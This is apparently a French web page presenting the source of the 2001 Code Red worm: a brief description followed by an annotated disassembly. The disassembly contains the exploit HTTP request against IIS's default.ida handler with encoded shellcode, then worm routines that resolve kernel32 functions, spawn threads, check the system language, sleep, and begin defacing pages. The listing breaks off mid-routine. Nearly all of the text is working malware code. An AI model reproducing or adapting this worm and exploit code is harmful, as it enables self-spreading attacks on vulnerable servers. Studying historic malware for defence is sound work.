Code source : Code Red

[DANAO]

Code Red est un ver informatique créé en 2001.

Il exploite une faille de sécurité présente dans les versions 4.0 et 5.0 du serveur Web IIS de Microsoft. Son but original est de prendre le contrôle de ces serveurs pour lancer à partir d'eux une attaque par déni de service (DoS), visant à saturer les ressources d'un site Web précis, en l'espèce le serveur de la Maison Blanche. Le ver a connu une seconde version appelée Code Red II.

Source : www.wikipédia.com

seg000:00000000 seg000 segment byte public 'CODE' use32
seg000:00000000 assume cs:seg000
seg000:00000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:00000000 47 45 54 20 2F 64+aGetDefault_ida db 'GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN'
seg000:00000000 65 66 61 75 6C 74+ db 'NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN'
seg000:00000000 2E 69 64 61 3F 4E+ db 'NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN'
seg000:00000000 4E 4E 4E 4E 4E 4E+ db 'NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN'
seg000:00000000 4E 4E 4E 4E 4E 4E+ db 'N%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u685'
seg000:00000000 4E 4E 4E 4E 4E 4E+ db '8%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53f'
seg000:00000000 4E 4E 4E 4E 4E 4E+ db 'f%u0078%u0000%u00=a HTTP/1.0',0Dh,0Ah
seg000:00000000 4E 4E 4E 4E 4E 4E+ db 'Content-type: text/xml',0Ah
seg000:00000000 4E 4E 4E 4E 4E 4E+ db 'HOST:www.worm.com',0Ah
seg000:00000000 4E 4E 4E 4E 4E 4E+ db ' Accept: */*',0Ah
seg000:00000000 4E 4E 4E 4E 4E 4E+ db 'Content-length: 3569 ',0Dh,0Ah
seg000:00000000 4E 4E 4E 4E 4E 4E+ db 0Dh,0Ah
seg000:000001D6
seg000:000001D6 ; ????????S U B R O U T I N E ????????????????????
seg000:000001D6
seg000:000001D6 ; this is the worm body. this is the code that actually does the work
seg000:000001D6 ; Attributes: bp-based frame
seg000:000001D6
seg000:000001D6 WORM proc near
seg000:000001D6
seg000:000001D6 var_218 = byte ptr -218h
seg000:000001D6 var_190 = dword ptr -190h
seg000:000001D6
seg000:000001D6 55 push ebp
seg000:000001D7 8B EC mov ebp, esp ; switch esp to ebp
seg000:000001D9 81 EC 18 02 00 00 sub esp, 218h ; set up space for local variables
seg000:000001DF 53 push ebx ; save a few regs
seg000:000001E0 56 push esi
seg000:000001E1 57 push edi
seg000:000001E2 8D BD E8 FD FF FF lea edi, [ebp+var_218] ; fill in stack vars with 0xcc
seg000:000001E8 B9 86 00 00 00 mov ecx, 86h ; '?'
seg000:000001ED B8 CC CC CC CC mov eax, 0CCCCCCCCh
seg000:000001F2 F3 AB repe stosd ; Store String
seg000:000001F4 C7 85 70 FE FF FF+ mov [ebp+var_190], 0 ; set 190h to 0
seg000:000001F4 00 00 00 00 ; this zeros out the memory that holds the GetProcAddress Call.
seg000:000001FE E9 0A 0B 00 00 jmp WORMCONTINUE ; Jump
seg000:000001FE WORM endp
seg000:000001FE
seg000:00000203
seg000:00000203 ; ????????S U B R O U T I N E ????????????????????
seg000:00000203
seg000:00000203
seg000:00000203 DataSetup proc near ; CODE XREF: seg000:00000D0Dp
seg000:00000203 8F 85 68 FE FF FF pop dword ptr [ebp-198h]
seg000:00000209 8D BD F0 FE FF FF lea edi, [ebp-110h] ; set ebp -198h to address of the data segment
seg000:00000209 ; set edi to ebp -110
seg000:0000020F 64 A1 00 00 00 00 mov eax, large fs:0 ; set eax to an ebp+val
seg000:00000215 89 47 08 mov [edi+8], eax ; set ebp+118 to 0
seg000:00000218 64 89 3D 00 00 00+ mov large fs:0, edi ; set fs reg ?
seg000:0000021F E9 6F 0A 00 00 jmp JUMP_TABLE1 ; Jump
seg000:0000021F DataSetup endp
seg000:0000021F
seg000:00000224
seg000:00000224 ; ????????S U B R O U T I N E ????????????????????
seg000:00000224
seg000:00000224
seg000:00000224 DO_RVA proc near ; CODE XREF: seg000:00000C93p
seg000:00000224 8F 85 60 FE FF FF pop dword ptr [ebp-1A0h]
seg000:0000022A C7 85 F0 FE FF FF+ mov dword ptr [ebp-110h], 0FFFFFFFFh ; set 110h to 0xffffffff
seg000:00000234 8B 85 68 FE FF FF mov eax, [ebp-198h] ; load eax to the data address
seg000:0000023A 83 E8 07 sub eax, 7 ; sub 7 from the data segment, putting you at: oD0B
seg000:0000023D 89 85 F4 FE FF FF mov [ebp-10Ch], eax ; set ebp - 10c to oD0B
seg000:00000243 C7 85 58 FE FF FF+ mov dword ptr [ebp-1A8h], 77E00000h ; set 1a8 to 0x780000
seg000:00000243 00 00 E0 77 ; __NULL_IMPORT_DESCRIPTOR+15D4h
seg000:0000024D E8 9B 0A 00 00 call DO_REWRITE ; jump into ced, do stuff, then jump back
seg000:00000252
seg000:00000252 RVA_TOP: ; CODE XREF: DO_RVA+213j
seg000:00000252 83 BD 70 FE FF FF+ cmp dword ptr [ebp-190h], 0 ; this is null on the first loop through, due to a null set at init.
seg000:00000252 00 ; The purpose of this loop point is to loop through DLL Names in the RVA table, looking for KERNEL32.dll, or more specificly, KERN
seg000:00000259 0F 85 DD 01 00 00 jnz GETPROC_LOADED ; go here after GetProcAddr Is loaded
seg000:0000025F 8B 8D 58 FE FF FF mov ecx, [ebp-1A8h] ; set ecx to 77E00000
seg000:00000265 81 C1 00 00 01 00 add ecx, 10000h ; make ecx 0x77e10000
seg000:0000026B 89 8D 58 FE FF FF mov [ebp-1A8h], ecx
seg000:00000271 81 BD 58 FE FF FF+ cmp dword ptr [ebp-1A8h], 78000000h ; is it msvcrt?
seg000:0000027B 75 0A jnz short NOT_MSVCRT ; if it is not, then jump here
seg000:0000027D C7 85 58 FE FF FF+ mov dword ptr [ebp-1A8h], 0BFF00000h
seg000:00000287
seg000:00000287 NOT_MSVCRT: ; CODE XREF: DO_RVA+57j
seg000:00000287 8B 95 58 FE FF FF mov edx, [ebp-1A8h] ; set edx to 0x77E10000
seg000:0000028D 33 C0 xor eax, eax ; null out eax
seg000:0000028F 66 8B 02 mov ax, [edx] ; move the low half of *edx into eax
seg000:0000028F ; should be something like 5a4d
seg000:00000292 3D 4D 5A 00 00 cmp eax, 5A4Dh ; Compare Two Operands
seg000:00000297 0F 85 9A 01 00 00 jnz TO_RVA_TOP ; jump if eax is not 5a4d
seg000:0000029D 8B 8D 58 FE FF FF mov ecx, [ebp-1A8h] ; set ecx to 0x77E10000
seg000:000002A3 8B 51 3C mov edx, [ecx+3Ch] ; set edx to *ecx+3ch
seg000:000002A3 ; should be something like 0x000000D8
seg000:000002A6 8B 85 58 FE FF FF mov eax, [ebp-1A8h] ; set eax to 0x77E10000
seg000:000002AC 33 C9 xor ecx, ecx ; null out ecx
seg000:000002AE 66 8B 0C 10 mov cx, [eax+edx] ; set ecx to what is at eax+edx
seg000:000002AE ; should be something like 0x00004550
seg000:000002B2 81 F9 50 45 00 00 cmp ecx, 4550h ; Compare Two Operands
seg000:000002B8 0F 85 79 01 00 00 jnz TO_RVA_TOP ; jump if ecx is not 0x00004550
seg000:000002BE 8B 95 58 FE FF FF mov edx, [ebp-1A8h] ; set edx to 0x77E10000
seg000:000002C4 8B 42 3C mov eax, [edx+3Ch] ; set eax to what's at 0x77E1003Ch
seg000:000002C4 ; should be something like 0x000000D8
seg000:000002C7 8B 8D 58 FE FF FF mov ecx, [ebp-1A8h] ; set ecx to 0x77E10000
seg000:000002CD 8B 54 01 78 mov edx, [ecx+eax+78h] ; set edx to what's at address 0x77E100B4
seg000:000002CD ; should be somehing like 51E00
seg000:000002D1 03 95 58 FE FF FF add edx, [ebp-1A8h] ; add 0x77E10000 to edx
seg000:000002D7 89 95 54 FE FF FF mov [ebp-1ACh], edx ; set ebp-1AC to 0x77E61E00
seg000:000002DD 8B 85 54 FE FF FF mov eax, [ebp-1ACh] ; set eax to 0x77E61E00
seg000:000002E3 8B 48 0C mov ecx, [eax+0Ch] ; set ecx to what is at 0x77E61E0C
seg000:000002E3 ; should be something like 0x005394E
seg000:000002E6 03 8D 58 FE FF FF add ecx, [ebp-1A8h] ; add 0x77E10000 to ecx, to get something like 0x77E6394e
seg000:000002EC 89 8D 4C FE FF FF mov [ebp-1B4h], ecx ; set ebp-1B4 to 77E6394E
seg000:000002F2 8B 95 4C FE FF FF mov edx, [ebp-1B4h] ; set edx to 77E6394E
seg000:000002F8 81 3A 4B 45 52 4E cmp dword ptr [edx], 4E52454Bh ; looking for our specific code (NREK) - KERN spelled backwards.. this is to find KERNEL32
seg000:000002FE 0F 85 33 01 00 00 jnz TO_RVA_TOP ; Jump if Not Zero (ZF=0)
seg000:00000304 8B 85 4C FE FF FF mov eax, [ebp-1B4h]
seg000:0000030A 81 78 04 45 4C 33+ cmp dword ptr [eax+4], 32334C45h ; looking for our specific code (23LE) - EL32 spelled backwards.. this is to find KERNEL32
seg000:00000311 0F 85 20 01 00 00 jnz TO_RVA_TOP ; Jump if Not Zero (ZF=0)
seg000:00000317 8B 8D 58 FE FF FF mov ecx, [ebp-1A8h] ; ok, we have kernel32, now get the functions we need.
seg000:0000031D 89 8D 34 FE FF FF mov [ebp-1CCh], ecx ; store the kernel32 base addr.
seg000:00000323 8B 95 54 FE FF FF mov edx, [ebp-1ACh] ; set edx to the offset from the base
seg000:00000329 8B 85 58 FE FF FF mov eax, [ebp-1A8h] ; set eax to the base
seg000:0000032F 03 42 20 add eax, [edx+20h] ; add the offset pointer to the base to get the RVA addr.
seg000:00000332 89 85 4C FE FF FF mov [ebp-1B4h], eax ; set ebp-1b4 with rva holder
seg000:00000338 C7 85 48 FE FF FF+ mov dword ptr [ebp-1B8h], 0 ; set ebp-1b8 to 0
seg000:00000342 EB 1E jmp short RVA_PROCESS_FUNC ; This is the part of the inner RVA loop that compares the current RVA function to GetProcAddr.
seg000:00000342 ;
seg000:00000344 ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:00000344
seg000:00000344 RVA_INNER_TOP: ; CODE XREF: DO_RVA+20Ej
seg000:00000344 8B 8D 48 FE FF FF mov ecx, [ebp-1B8h] ; this moves on to the next func in an rva table
seg000:0000034A 83 C1 01 add ecx, 1 ; Add
seg000:0000034D 89 8D 48 FE FF FF mov [ebp-1B8h], ecx
seg000:00000353 8B 95 4C FE FF FF mov edx, [ebp-1B4h]
seg000:00000359 83 C2 04 add edx, 4 ; Add
seg000:0000035C 89 95 4C FE FF FF mov [ebp-1B4h], edx
seg000:00000362
seg000:00000362 RVA_PROCESS_FUNC: ; CODE XREF: DO_RVA+11Ej
seg000:00000362 8B 85 54 FE FF FF mov eax, [ebp-1ACh] ; This is the part of the inner RVA loop that compares the current RVA function to GetProcAddr.
seg000:00000362 ;
seg000:00000368 8B 8D 48 FE FF FF mov ecx, [ebp-1B8h]
seg000:0000036E 3B 48 18 cmp ecx, [eax+18h] ; Compare Two Operands
seg000:00000371 0F 8D C0 00 00 00 jge TO_RVA_TOP ; this is the end of the inside loop(there are no more functions), goto RVA top and try again.
seg000:00000377 8B 95 4C FE FF FF mov edx, [ebp-1B4h]
seg000:0000037D 8B 02 mov eax, [edx]
seg000:0000037F 8B 8D 58 FE FF FF mov ecx, [ebp-1A8h]
seg000:00000385 81 3C 01 47 65 74+ cmp dword ptr [ecx+eax], 50746547h ; looking for GetProcAddr (PteG cmp)
seg000:0000038C 0F 85 A0 00 00 00 jnz TO_RVA_INNER_TOP ; didn't match, try the next one.
seg000:00000392 8B 95 4C FE FF FF mov edx, [ebp-1B4h]
seg000:00000398 8B 02 mov eax, [edx]
seg000:0000039A 8B 8D 58 FE FF FF mov ecx, [ebp-1A8h]
seg000:000003A0 81 7C 01 04 72 6F+ cmp dword ptr [ecx+eax+4], 41636F72h ; looking for GetProcAddr (Acor cmp)
seg000:000003A8 0F 85 84 00 00 00 jnz TO_RVA_INNER_TOP ; didn't match, try the next one.
seg000:000003AE 8B 95 48 FE FF FF mov edx, [ebp-1B8h] ; it did match this is GetPRocAddr, need to get the mapped RVA for this func.
seg000:000003B4 03 95 48 FE FF FF add edx, [ebp-1B8h] ; get offset into table and double it
seg000:000003BA 03 95 58 FE FF FF add edx, [ebp-1A8h] ; get RVA Base for Kernel32.dll
seg000:000003C0 8B 85 54 FE FF FF mov eax, [ebp-1ACh]
seg000:000003C6 8B 48 24 mov ecx, [eax+24h]
seg000:000003C9 33 C0 xor eax, eax ; NULL out eax
seg000:000003CB 66 8B 04 0A mov ax, [edx+ecx]
seg000:000003CF 89 85 4C FE FF FF mov [ebp-1B4h], eax ; set ebp-1B4 to offset into rva table
seg000:000003D5 8B 8D 54 FE FF FF mov ecx, [ebp-1ACh]
seg000:000003DB 8B 51 10 mov edx, [ecx+10h]
seg000:000003DE 8B 85 4C FE FF FF mov eax, [ebp-1B4h]
seg000:000003E4 8D 4C 10 FF lea ecx, [eax+edx-1] ; Load Effective Address
seg000:000003E8 89 8D 4C FE FF FF mov [ebp-1B4h], ecx
seg000:000003EE 8B 95 4C FE FF FF mov edx, [ebp-1B4h]
seg000:000003F4 03 95 4C FE FF FF add edx, [ebp-1B4h] ; Add
seg000:000003FA 03 95 4C FE FF FF add edx, [ebp-1B4h] ; Add
seg000:00000400 03 95 4C FE FF FF add edx, [ebp-1B4h] ; Add
seg000:00000406 03 95 58 FE FF FF add edx, [ebp-1A8h] ; Add
seg000:0000040C 8B 85 54 FE FF FF mov eax, [ebp-1ACh]
seg000:00000412 8B 48 1C mov ecx, [eax+1Ch]
seg000:00000415 8B 14 0A mov edx, [edx+ecx]
seg000:00000418 89 95 4C FE FF FF mov [ebp-1B4h], edx
seg000:0000041E 8B 85 4C FE FF FF mov eax, [ebp-1B4h]
seg000:00000424 03 85 58 FE FF FF add eax, [ebp-1A8h] ; Add
seg000:0000042A 89 85 70 FE FF FF mov [ebp-190h], eax ; set ebp-190 to GetProcAddr Address
seg000:00000430 EB 05 jmp short TO_RVA_TOP ; Jump
seg000:00000432 ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:00000432
seg000:00000432 TO_RVA_INNER_TOP: ; CODE XREF: DO_RVA+168j
seg000:00000432 ; DO_RVA+184j
seg000:00000432 E9 0D FF FF FF jmp RVA_INNER_TOP ; this moves on to the next func in an rva table
seg000:00000437 ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:00000437
seg000:00000437 TO_RVA_TOP: ; CODE XREF: DO_RVA+73j
seg000:00000437 ; DO_RVA+94j ...
seg000:00000437 E9 16 FE FF FF jmp RVA_TOP ; this is null on the first loop through, due to a null set at init.
seg000:00000437 ; The purpose of this loop point is to loop through DLL Names in the RVA table, looking for KERNEL32.dll, or more specificly, KERN
seg000:0000043C ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:0000043C
seg000:0000043C GETPROC_LOADED: ; CODE XREF: DO_RVA+35j
seg000:0000043C 8D BD F0 FE FF FF lea edi, [ebp-110h] ; Load Effective Address
seg000:00000442 8B 47 08 mov eax, [edi+8]
seg000:00000445 64 A3 00 00 00 00 mov large fs:0, eax
seg000:0000044B 83 BD 70 FE FF FF+ cmp dword ptr [ebp-190h], 0 ; see if getprocaddr is loaded
seg000:00000452 75 05 jnz short GPLOADED2 ; if it is, goto gploaded2
seg000:00000454 E9 38 08 00 00 jmp TIGHT_LOOP ; else, goto locC91
seg000:00000459 ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:00000459
seg000:00000459 GPLOADED2: ; CODE XREF: DO_RVA+22Ej
seg000:00000459 C7 85 4C FE FF FF+ mov dword ptr [ebp-1B4h], 1 ; set ebp-1b4 to 1
seg000:00000463 EB 0F jmp short GETPROC_LOOP_TOP ; load edx with the data segment
seg000:00000465 ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:00000465
seg000:00000465 GETPROC_LOOP_INC: ; CODE XREF: DO_RVA+2E9j
seg000:00000465 8B 8D 4C FE FF FF mov ecx, [ebp-1B4h] ; increment the counter at ebp-ib4
seg000:0000046B 83 C1 01 add ecx, 1 ; Add
seg000:0000046E 89 8D 4C FE FF FF mov [ebp-1B4h], ecx
seg000:00000474
seg000:00000474 GETPROC_LOOP_TOP: ; CODE XREF: DO_RVA+23Fj
seg000:00000474 8B 95 68 FE FF FF mov edx, [ebp-198h] ; load edx with the data segment
seg000:0000047A 0F BE 02 movsx eax, byte ptr [edx] ; move the byte at data segment to eax
seg000:0000047D 85 C0 test eax, eax ; check if the byte is null. This signifies the end of the function data section.
seg000:0000047F 0F 84 8D 00 00 00 jz FUNC_LOAD_DONE ; if it is, go here
seg000:00000485 8B 8D 68 FE FF FF mov ecx, [ebp-198h] ; load ecx with the data segment
seg000:0000048B 0F BE 11 movsx edx, byte ptr [ecx] ; load edx wuith the byte at data segment
seg000:0000048E 83 FA 09 cmp edx, 9 ; check if the byte specifies change of dll
seg000:00000491 75 21 jnz short loc_4B4 ; if not, jump here
seg000:00000493 8B 85 68 FE FF FF mov eax, [ebp-198h] ; set eax to current data pointer
seg000:00000499 83 C0 01 add eax, 1 ; get past the 9
seg000:0000049C 8B F4 mov esi, esp
seg000:0000049E 50 push eax ; push current data pointer
seg000:0000049F FF 95 90 FE FF FF call dword ptr [ebp-170h] ; LoadLibraryA
seg000:000004A5 3B F4 cmp esi, esp ; Compare Two Operands
seg000:000004A7 90 nop ; No Operation
seg000:000004A8 43 inc ebx ; Increment by 1
seg000:000004A9 4B dec ebx ; Decrement by 1
seg000:000004AA 43 inc ebx ; Increment by 1
seg000:000004AB 4B dec ebx ; Decrement by 1
seg000:000004AC 89 85 34 FE FF FF mov [ebp-1CCh], eax ; load current dll base pointer with return from LoadLibraryA
seg000:000004B2 EB 2A jmp short DLL_CHECK_NULL_BRANCH ; Jump
seg000:000004B4 ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:000004B4
seg000:000004B4 loc_4B4: ; CODE XREF: DO_RVA+26Dj
seg000:000004B4 8B F4 mov esi, esp
seg000:000004B6 8B 8D 68 FE FF FF mov ecx, [ebp-198h] ; set ecx with the data segment pointer
seg000:000004BC 51 push ecx ; push data segment(pointer of function to load)
seg000:000004BD 8B 95 34 FE FF FF mov edx, [ebp-1CCh] ; get current RVA base offset
seg000:000004C3 52 push edx ; push module handle(base loaded address)
seg000:000004C4 FF 95 70 FE FF FF call dword ptr [ebp-190h] ; call GetProcAddress
seg000:000004CA 3B F4 cmp esi, esp ; Compare Two Operands
seg000:000004CC 90 nop ; No Operation
seg000:000004CD 43 inc ebx ; Increment by 1
seg000:000004CE 4B dec ebx ; Decrement by 1
seg000:000004CF 43 inc ebx ; Increment by 1
seg000:000004D0 4B dec ebx ; Decrement by 1
seg000:000004D1 8B 8D 4C FE FF FF mov ecx, [ebp-1B4h] ; load ecx with ebp-1b4
seg000:000004D7 89 84 8D 8C FE FF+ mov [ebp+ecx*4-174h], eax ; load the address into the ebp stack where needed
seg000:000004D7 FF ; this sets up our function jumptable
seg000:000004DE
seg000:000004DE DLL_CHECK_NULL_BRANCH: ; CODE XREF: DO_RVA+28Ej
seg000:000004DE EB 0F jmp short CHECK_NULL_BRANCH ; load eax with data segment.
seg000:000004DE ;
seg000:000004DE ; this checks the nullishness of the ebp-198 data pointer, and if isn't null, increments it.
seg000:000004E0 ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:000004E0
seg000:000004E0 CHECK_NULL_BRANCH_INC: ; CODE XREF: DO_RVA+2D8j
seg000:000004E0 8B 95 68 FE FF FF mov edx, [ebp-198h] ; this function moves the data segment on to the next lookup
seg000:000004E6 83 C2 01 add edx, 1 ; Add
seg000:000004E9 89 95 68 FE FF FF mov [ebp-198h], edx
seg000:000004EF
seg000:000004EF CHECK_NULL_BRANCH: ; CODE XREF: DO_RVA+2BAj
seg000:000004EF 8B 85 68 FE FF FF mov eax, [ebp-198h] ; load eax with data segment.
seg000:000004EF ;
seg000:000004EF ; this checks the nullishness of the ebp-198 data pointer, and if isn't null, increments it.
seg000:000004F5 0F BE 08 movsx ecx, byte ptr [eax] ; load byte at eax into ecx
seg000:000004F8 85 C9 test ecx, ecx ; check for null
seg000:000004FA 74 02 jz short GETPROC_SHIFT_NULL ; if it is null, go here
seg000:000004FC EB E2 jmp short CHECK_NULL_BRANCH_INC ; else go here
seg000:000004FE ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:000004FE
seg000:000004FE GETPROC_SHIFT_NULL: ; CODE XREF: DO_RVA+2D6j
seg000:000004FE 8B 95 68 FE FF FF mov edx, [ebp-198h] ; this function moves past the null on the end of a line to set the function up for the next run through the getproc/load library system
seg000:00000504 83 C2 01 add edx, 1 ; Add
seg000:00000507 89 95 68 FE FF FF mov [ebp-198h], edx
seg000:0000050D E9 53 FF FF FF jmp GETPROC_LOOP_INC ; increment the counter at ebp-ib4
seg000:00000512 ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:00000512
seg000:00000512 FUNC_LOAD_DONE: ; CODE XREF: DO_RVA+25Bj
seg000:00000512 8B 85 68 FE FF FF mov eax, [ebp-198h] ; set eax to the data segment
seg000:00000518 83 C0 01 add eax, 1 ; inc eax
seg000:0000051B 89 85 68 FE FF FF mov [ebp-198h], eax ; set datasegment to eax
seg000:0000051B ;
seg000:0000051B ; This moves us past the final NULL at the end of the Dll Listing
seg000:00000521 8B 4D 08 mov ecx, [ebp+8] ; load ecx with an address at ebp+8
seg000:00000524 8B 91 84 00 00 00 mov edx, [ecx+84h] ; load edx with a wam.dll entry
seg000:0000052A 89 95 6C FE FF FF mov [ebp-194h], edx ; load this wam.dll entry into ebp-194
seg000:00000530 C7 85 4C FE FF FF+ mov dword ptr [ebp-1B4h], 4 ; set ebp-1b4 to 4
seg000:0000053A C6 85 D0 FE FF FF+ mov byte ptr [ebp-130h], 68h ; 'h' ; set ebp-130 to 68h
seg000:0000053A 68 ;
seg000:0000053A ; this seems to be setting up some type of structure
seg000:00000541 8B 45 08 mov eax, [ebp+8] ; load eax with ebp+8(possibly an isapi request struct)
seg000:00000544 89 85 D1 FE FF FF mov [ebp-12Fh], eax ; save the ebp+8 at ebp-12f
seg000:0000054A C7 85 D5 FE FF FF+ mov dword ptr [ebp-12Bh], 0FF53535Bh
seg000:00000554 C7 85 D9 FE FF FF+ mov dword ptr [ebp-127h], 90907863h
seg000:0000055E 8B 4D 08 mov ecx, [ebp+8] ; check pointer to the possible isapi struct
seg000:00000561 8B 51 10 mov edx, [ecx+10h]
seg000:00000564 89 95 50 FE FF FF mov [ebp-1B0h], edx ; set response to check at ebp-1b0
seg000:0000056A 83 BD 50 FE FF FF+ cmp dword ptr [ebp-1B0h], 0 ; Compare Two Operands
seg000:00000571 75 26 jnz short loc_599 ; if it's not 0, then go here
seg000:00000573 8B F4 mov esi, esp ; Get Ready to call a function
seg000:00000575 6A 00 push 0 ; push a null
seg000:00000577 8D 85 4C FE FF FF lea eax, [ebp-1B4h] ; load eax to the addr of ebp-1b4, set to 4
seg000:0000057D 50 push eax ; push the addr on the stack
seg000:0000057E 8B 8D 68 FE FF FF mov ecx, [ebp-198h] ; load eax to the addr of ebp-198, set to data segment right after the funcnames
seg000:00000584 51 push ecx ; push it
seg000:00000585 8B 55 08 mov edx, [ebp+8] ; set edx with ebp+8 pointer
seg000:00000588 8B 42 08 mov eax, [edx+8] ; load eax with the data at edx+8
seg000:0000058B 50 push eax ; push eax
seg000:0000058C FF 95 6C FE FF FF call dword ptr [ebp-194h] ; call WriteClient in WAM
seg000:00000592 3B F4 cmp esi, esp ; Compare Two Operands
seg000:00000594 90 nop ; No Operation
seg000:00000595 43 inc ebx ; Increment by 1
seg000:00000596 4B dec ebx ; Decrement by 1
seg000:00000597 43 inc ebx ; Increment by 1
seg000:00000598 4B dec ebx ; Decrement by 1
seg000:00000599
seg000:00000599 loc_599: ; CODE XREF: DO_RVA+34Dj
seg000:00000599 83 BD 50 FE FF FF+ cmp dword ptr [ebp-1B0h], 64h ; 'd' ; check is 64 is in ebp-1b0
seg000:000005A0 7D 5C jge short TOO_MANY_THREADS ; branch here if more than 100 are running
seg000:000005A2 8B 8D 50 FE FF FF mov ecx, [ebp-1B0h] ; set ecx to number of threads
seg000:000005A8 83 C1 01 add ecx, 1 ; increment the number of open threads
seg000:000005AB 89 8D 50 FE FF FF mov [ebp-1B0h], ecx ; store the new value of threadcount
seg000:000005B1 8B 95 50 FE FF FF mov edx, [ebp-1B0h] ; set thread count into edx
seg000:000005B7 69 D2 8D 66 F0 50 imul edx, 50F0668Dh ; Signed Multiply
seg000:000005BD 89 95 74 FE FF FF mov [ebp-18Ch], edx ; store the new val at ebp-18c
seg000:000005C3 8B 45 08 mov eax, [ebp+8] ; load eax with the isapi extension block
seg000:000005C6 8B 8D 50 FE FF FF mov ecx, [ebp-1B0h] ; load ecx with the threadcount
seg000:000005CC 89 48 10 mov [eax+10h], ecx ; store threadcount in the isapi extension block
seg000:000005CF 8B F4 mov esi, esp
seg000:000005D1 8D 95 2C FE FF FF lea edx, [ebp-1D4h] ; Load Effective Address
seg000:000005D7 52 push edx ; LPDWORD lpThreadId // thread identifier
seg000:000005D8 6A 00 push 0 ; DWORD dwCreationFlags // creation option
seg000:000005DA 8D 85 4C FE FF FF lea eax, [ebp-1B4h] ; Load Effective Address
seg000:000005E0 50 push eax ; LPVOID lpParameter // thread argument
seg000:000005E1 8D 8D D0 FE FF FF lea ecx, [ebp-130h] ; Load Effective Address
seg000:000005E7 51 push ecx ; LPTHREAD_START_ROUTINE lpStartAddress // thread function
seg000:000005E8 6A 00 push 0 ; DWORD dwStackSize // initial stack size
seg000:000005EA 6A 00 push 0 ; LPSECURITY_ATTRIBUTES lpThreadAttributes // SD
seg000:000005EC FF 95 98 FE FF FF call dword ptr [ebp-168h] ; CreateThread
seg000:000005F2 3B F4 cmp esi, esp ; Compare Two Operands
seg000:000005F4 90 nop ; No Operation
seg000:000005F5 43 inc ebx ; Increment by 1
seg000:000005F6 4B dec ebx ; Decrement by 1
seg000:000005F7 43 inc ebx ; Increment by 1
seg000:000005F8 4B dec ebx ; Decrement by 1
seg000:000005F9 E9 9F 01 00 00 jmp DO_THE_WORK ; this exits from sub 224, not positive of the end result.
seg000:000005FE ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:000005FE
seg000:000005FE TOO_MANY_THREADS: ; CODE XREF: DO_RVA+37Cj
seg000:000005FE 8B F4 mov esi, esp ; setup a func
seg000:00000600 FF 95 A4 FE FF FF call dword ptr [ebp-15Ch] ; GetSystemDefaultLangId
seg000:00000606 3B F4 cmp esi, esp ; Compare Two Operands
seg000:00000608 90 nop ; No Operation
seg000:00000609 43 inc ebx ; Increment by 1
seg000:0000060A 4B dec ebx ; Decrement by 1
seg000:0000060B 43 inc ebx ; Increment by 1
seg000:0000060C 4B dec ebx ; Decrement by 1
seg000:0000060D 89 85 4C FE FF FF mov [ebp-1B4h], eax ; put default system languageid in ebp-1b4
seg000:00000613 8B 95 4C FE FF FF mov edx, [ebp-1B4h]
seg000:00000619 81 E2 FF FF 00 00 and edx, 0FFFFh ; Logical AND
seg000:0000061F 89 95 4C FE FF FF mov [ebp-1B4h], edx
seg000:00000625 81 BD 4C FE FF FF+ cmp dword ptr [ebp-1B4h], 409h ; Compare Two Operands
seg000:0000062F 74 05 jz short IS_AMERICAN ; if not english go
seg000:00000631 E9 67 01 00 00 jmp DO_THE_WORK ; this exits from sub 224, not positive of the end result.
seg000:00000636 ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:00000636
seg000:00000636 IS_AMERICAN: ; CODE XREF: DO_RVA+40Bj
seg000:00000636 8B F4 mov esi, esp
seg000:00000638 68 00 DD 6D 00 push 6DDD00h ; this is 2 hours
seg000:0000063D FF 95 A0 FE FF FF call dword ptr [ebp-160h] ; Sleep
seg000:0000063D ;
seg000:0000063D ; This Sleeps for 2 hours
seg000:00000643 3B F4 cmp esi, esp ; Compare Two Operands
seg000:00000645 90 nop ; No Operation
seg000:00000646 43 inc ebx ; Increment by 1
seg000:00000647 4B dec ebx ; Decrement by 1
seg000:00000648 43 inc ebx ; Increment by 1
seg000:00000649 4B dec ebx ; Decrement by 1
seg000:0000064A E9 80 06 00 00 jmp HACK_PAGE_JUMP ; this sets up the hacked page bit
seg000:0000064A DO_RVA endp
seg000:0000064A
seg000:0000064F
seg000:0000064F ; ????????S U B R O U T I N E ????????????????????
seg000:0000064F
seg000:0000064F ; pop the stack into the counter
seg000:0000064F
seg000:0000064F HACK_PAGE proc near ; CODE XREF: seg000:00000CCFp
seg000:0000064F 8F 85 4C FE FF FF pop dword ptr [ebp-1B4h]
seg000:00000655 8B 85 34 FE FF FF mov eax, [ebp-1CCh] ; load eax with the current dll base address(probably w3svc)
seg000:0000065B 89 85 CC FE FF FF mov [ebp-134h], eax ; store base at ebp-134
seg000:00000661 8B 8D 4C FE FF FF mov ecx, [ebp-1B4h] ; load thecounter into ecx
seg000:00000667 8B 95 B0 FE FF FF mov edx, [ebp-150h] ; load edx with tcpsocksend
seg000:0000066D 89 11 mov [ecx], edx ; store tcpsocksend at the address popped from the stack
